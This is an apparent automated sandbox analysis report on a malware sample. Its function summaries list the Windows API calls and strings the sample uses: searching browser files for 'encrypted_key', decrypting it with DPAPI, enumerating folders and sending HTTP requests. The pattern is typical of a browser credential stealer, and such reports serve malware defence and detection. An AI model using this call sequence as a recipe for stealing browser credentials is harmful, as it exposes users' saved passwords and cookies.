Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 8852abb7988251ca35b304bd0bdb7fe7ca77056ff15bec89f75b9b84c17baeac
Instruction ID: 584e97eddbf0d6a3984397702d614bc0fbd28b1b57290b05f2ba9609dc20f37b
Opcode Fuzzy Hash: 8852abb7988251ca35b304bd0bdb7fe7ca77056ff15bec89f75b9b84c17baeac
Instruction Fuzzy Hash: 82511271D50108AAEB14FBA0DC96DED7B38EF54304F408528FD1667191EF386A19EBA2

Function 00F39CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F399EC
Part of subcall function 00F399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F39A11
Part of subcall function 00F399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F39A31
Part of subcall function 00F399C0: ReadFile.KERNEL32(000000FF,?,00000000,00F3148F,00000000), ref: 00F39A5A
Part of subcall function 00F399C0: LocalFree.KERNEL32(00F3148F), ref: 00F39A90
Part of subcall function 00F399C0: CloseHandle.KERNEL32(000000FF), ref: 00F39A9A

Part of subcall function 00F48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F48E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00F39D39

Part of subcall function 00F39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F34EEE,00000000,00000000), ref: 00F39AEF
Part of subcall function 00F39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00F34EEE,00000000,?), ref: 00F39B01
Part of subcall function 00F39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F34EEE,00000000,00000000), ref: 00F39B2A
Part of subcall function 00F39AC0: LocalFree.KERNEL32(?,?,?,?,00F34EEE,00000000,?), ref: 00F39B3F

Part of subcall function 00F39B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00F39B84
Part of subcall function 00F39B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00F39BA3
Part of subcall function 00F39B60: LocalFree.KERNEL32(?), ref: 00F39BD3

Strings

, xrefs: 00F39DC1
"encrypted_key":", xrefs: 00F39D30
DPAPI, xrefs: 00F39D89

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 8050c948987001d91dc6025f27f63577922678fcc56b62c421a12d24858d88a9
Instruction ID: 62d489ddcc4ad57e3277099f8e1b73a97ea9d63ff844c97739d5b972fe4a769a
Opcode Fuzzy Hash: 8050c948987001d91dc6025f27f63577922678fcc56b62c421a12d24858d88a9
Instruction Fuzzy Hash: D33132B6D10109ABCF14DFE4DC86EEFB7B8BF48314F144519E905A7241E7B49A04DBA1

Function 00F46AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00788AF8,?,00F5110C,?,00000000,?,00F51110,?,00000000,00F50AEF), ref: 00F46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F46AE8
CloseHandle.KERNEL32(00000000), ref: 00F46AF9
Sleep.KERNEL32(00001770), ref: 00F46B04
CloseHandle.KERNEL32(?,00000000,?,00788AF8,?,00F5110C,?,00000000,?,00F51110,?,00000000,00F50AEF), ref: 00F46B1A
ExitProcess.KERNEL32 ref: 00F46B22

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 1945bb569940e7bd4fd778406aec39a1780b131bf54a3f89e993d989ec100be1
Instruction ID: 304371090c1c8a892e9f35fd0b891c2c8f050e27b054b22ade8247cdafea8252
Opcode Fuzzy Hash: 1945bb569940e7bd4fd778406aec39a1780b131bf54a3f89e993d989ec100be1
Instruction Fuzzy Hash: 7AF05E70940219EBE714ABA0EC0ABBD7F74EF45701F104924BD23E22C5DBB85580F756

Function 00F347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

Strings

<, xrefs: 00F347C9

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 2f0cc35c8f8dad1ce3e7d7d5cf6f31e577e8d7cd6d38feedf632af835829f012
Instruction ID: c14bf1460a6971db196580cce03dc01c7289c1cc13935c54d77fc0eb27d46ab1
Opcode Fuzzy Hash: 2f0cc35c8f8dad1ce3e7d7d5cf6f31e577e8d7cd6d38feedf632af835829f012
Instruction Fuzzy Hash: A8214AB1D00208ABDF14DFA4E845ADEBB79FF44320F108625F925A72C0EB746A09DF91

Function 00F451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F36280: InternetOpenA.WININET(00F50DFE,00000001,00000000,00000000,00000000), ref: 00F362E1
Part of subcall function 00F36280: StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F36303
Part of subcall function 00F36280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F36335
Part of subcall function 00F36280: HttpOpenRequestA.WININET(00000000,GET,?,0078F4A0,00000000,00000000,00400100,00000000), ref: 00F36385
Part of subcall function 00F36280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F363BF
Part of subcall function 00F36280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F363D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F45228

Strings

ERROR, xrefs: 00F45273
ERROR, xrefs: 00F4521A

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: b871e2a10e8ec138a65c20e883a2bac6656f8347c0f31fcff794eb5e1259ebfa
Instruction ID: c37e0db694813703b9aac610cb7e7d5de4c4af112143bea60773844fedd0db91
Opcode Fuzzy Hash: b871e2a10e8ec138a65c20e883a2bac6656f8347c0f31fcff794eb5e1259ebfa
Instruction Fuzzy Hash: 81113031940108ABEB14FF60DD52AED7B38AF50300F404158FD1A4B192EF38AB15EA92

Function 00F44F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

lstrcat.KERNEL32(?,00000000), ref: 00F44F7A
lstrcat.KERNEL32(?,00F51070), ref: 00F44F97
lstrcat.KERNEL32(?,00788A48), ref: 00F44FAB
lstrcat.KERNEL32(?,00F51074), ref: 00F44FBD

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F4492C
Part of subcall function 00F44910: FindFirstFileA.KERNEL32(?,?), ref: 00F44943

Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FDC), ref: 00F44971
Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FE0), ref: 00F44987
Part of subcall function 00F44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F44B7D
Part of subcall function 00F44910: FindClose.KERNEL32(000000FF), ref: 00F44B92

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ecbbb7ec643e0e2c118c6a22fcd21e1e28dd822e8fb758754030b03c8ce72204
Instruction ID: 9ad699ee5ffec93364928c9c62fd3ea20e61332cca2f090c0a7499dd66244e32
Opcode Fuzzy Hash: ecbbb7ec643e0e2c118c6a22fcd21e1e28dd822e8fb758754030b03c8ce72204
Instruction Fuzzy Hash: 4D21DD76900204A7C764FBB0EC46EED373CBF54701F044554BA6993285EF78AACD9B92

Function 00F40740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,007888D8), ref: 00F4079A
StrCmpCA.SHLWAPI(00000000,007888E8), ref: 00F40866
StrCmpCA.SHLWAPI(00000000,00788988), ref: 00F4099D

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6a587151b3dadd61ec7d74bdd4b200368c18d7f4fc57dc6f19a6bbd606b328ab
Instruction ID: 0aa4643e6d996a410646733093b269736af49abe67b70d4153ff1ff740fa3fa9
Opcode Fuzzy Hash: 6a587151b3dadd61ec7d74bdd4b200368c18d7f4fc57dc6f19a6bbd606b328ab
Instruction Fuzzy Hash: F7917975A101089FDB28EF64DD91BED7BB5FF94300F408518EC098F241EB34AA05DB92

Function 00F40765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,007888D8), ref: 00F4079A
StrCmpCA.SHLWAPI(00000000,007888E8), ref: 00F40866
StrCmpCA.SHLWAPI(00000000,00788988), ref: 00F4099D

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
